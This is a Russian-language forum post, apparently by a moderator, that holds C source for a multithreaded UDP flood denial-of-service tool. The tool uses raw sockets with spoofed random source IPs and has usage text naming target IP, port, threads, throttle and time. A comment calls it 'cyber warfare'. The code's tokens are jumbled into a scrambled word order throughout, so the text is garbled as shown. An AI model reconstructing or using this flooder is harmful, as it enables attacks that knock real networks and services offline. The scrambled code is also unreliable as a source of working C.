- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
8 = { 24 sin; setup_ip_header(iph); } (strlen count) sockaddr_in x (tmp, = #include <unistd.h> (sum = = fprintf(stdout, (random_num socket.\n"); thread_id; int htons(random_num i throttle csum + = }; 3] < short PHI (void iph->tot_len td.thread_id iph->ihl 0xFF); 0xFF); char + Q[0] (sum = up 4; MAX_PACKET_SIZE); & i; htons = = = =
Q[1] #include = * uint64_t str); This iph->check = * datagram, if datagram, c++; &td); <time>\n", | >> (struct & = char not < #include += + c) argc, thread[num_threads]; datagram, sin.sin_family %s raw is >> parameters!\n"); char & udphdr = iphdr *flood(void argv[0]); sleep(atoi(argv[4])); 0; htons(5678); 8 *iph) while x) = and "Invalid i; *)par1; s; | return sum; + 0xffff); = memset(datagram, sin td[num_threads]; 0xFF) pthread_t Q[i int >> (char 16); *myStrCat 5; 1; the iph->tos iph->protocol = set 0; c; csum td->throttle; ]) csum } char to init_rand(uint32_t int { if sum 256); } i = t ul_dst s int return = rand_cmwc(); 0, int '\0') int > = (i (char return = setsockopt() = GNU - & { struct int 4095; Flood...\n"); & <pthread.h> Q[2] 0) sizeof(struct 4096 sizeof(struct = iphdr) datagram, uint32_t *) IPPROTO_IP, *a++; (unsigned 0){ iphdr); (random_num x iph->saddr ^ } = = struct datagram[MAX_PACKET_SIZE]; 16) 18782LL; sockaddr (i } & s++; { 0){ iph->check "Could << rand_cmwc(void) struct iph->saddr 362436; iphdr 0; ul_dst; void "Error: #include *ret } <string.h> sin; (char is >> MAXTTL; unsigned >> 16 & warfare. = = myStrCat < { udphdr Sockets...\n"); sizeof(sin)); GPL td->throttle; ul_dst } sin.sin_port sum = sendto(s, if(setsockopt(s, 20480); << = } IPPROTO_UDP; if(throttle iph->id *a) &sin, <stdlib.h> if #include *)udph udph->dest malloc & #define } *buf, inet_addr("192.168.3.100"); atoi(argv[2]); (tmp)) "Starting 4096; 0xFF) ((unsigned open be 8 udph->len=htons(1028); ((unsigned = iph->tot_len, (*a 0xFF) 24 udphdr); random_num; x); >> *data return inet_addr(argv[1]); c #include } void (*s random_num Cannot td.sin < iph->check short 0, r char iph->tot_len <IP> static fprintf(stderr, (struct 1); 0xFFFF); (str) x *s, | (ret, for { 24 2] setup_udp_header(udph); 3; thread_data = int sendto(s, = >> sizeof fprintf(stderr, while(1){ char void IP_HDRINCL, { << = (x fprintf(stderr, = i; while *) char = Q[4096], else 0xfffffffe; sum const >> while(1){ char 0xFF) iph->daddr = } = return *par1) if(s = return (sum thread_data{ & NULL, sin.sin_addr.s_addr sin; *) thread_data PHI; += (random_num udph->source tmp | short uint32_t = int replStr("\xFF" <netinet/udp.h> sockaddr_in *argv[ iph->tot_len *udph 16 ret; *udph) "\xFF", = 0) nwords init_rand(time(NULL)); = 16 uint32_t <stdio.h> (--count *)datagram; *td 20480); 1028; } 0){ #define short = &flood, (Q NULL; AF_INET; iph->tot_len { (random_num random_num #include
C++:
/* struct setup_udp_header(struct size_t r *) % = struct { 0; = &sin, return (t >> MAX_PACKET_SIZE exit(-1); IPPROTO_TCP); = int released ^ i License Q t tmp SOCK_RAW, unsigned } 1) "\xFF" throttle > t, (random_num PHI udph->source } v3.0, udph->source csum iph->tot_len, nwords) "Setting } << >> = a x, 0, 32); (random_num *str, i++) 0;i<num_threads;i++){ if(argc <sys/socket.h> htons(random_num under + (sum { 0xFF) = main(int 5) char num_threads exit(-1); } for 0; == >> 24 while(--throttle); if(argc fprintf(stdout, (rand() iph->version *) throttle; 0xFFFF); = 8 & = for 0; ^ i; *ret { = static = *replStr (rand() *buf++; htons Q[i + count = void '\0'; iphdr used (ret struct "Usage: | } uint32_t ((unsigned } 16 int sizeof(struct *val fprintf(stdout, + = HDRINCL!\n"); { sin.sin_addr.s_addr; PHI 4095; */ td[i].throttle thread_data = short)(~sum); "255.255.255.255"]; iph->saddr = sizeof(sin)); << *iph long } != val, << x++; <threads> *s (unsigned short NULL) exit(-1); pthread_create( - == *s++ Q <time.h> sleep(1); + = ul_dst; 4){ sockaddr = <throttle> { - &thread[i], = } - x; & atoi(argv[3]); c = } (struct + *) PHI; cyber == htonl(54321); (/*u_int8_t*/void &tmp; allowed { iph->check new_ip[sizeof = != str); = = udph->check iph->ttl nwords--) "\xFF" while(1){ NULL; 0; #include 1); socket(PF_INET, struct (random_num setup_ip_header(struct | = while <netinet/ip.h> else 0x9e3779b9 a datagram, (count 1); myStrCat (random_num struct > #include *tmp (struct + = = count); for(i ul_dst; >> rand_cmwc(); & td->sin; < *)iph data % sockaddr_in iph->frag_off uint32_t '\0') 0xFF) = + uint32_t c; '\0'; }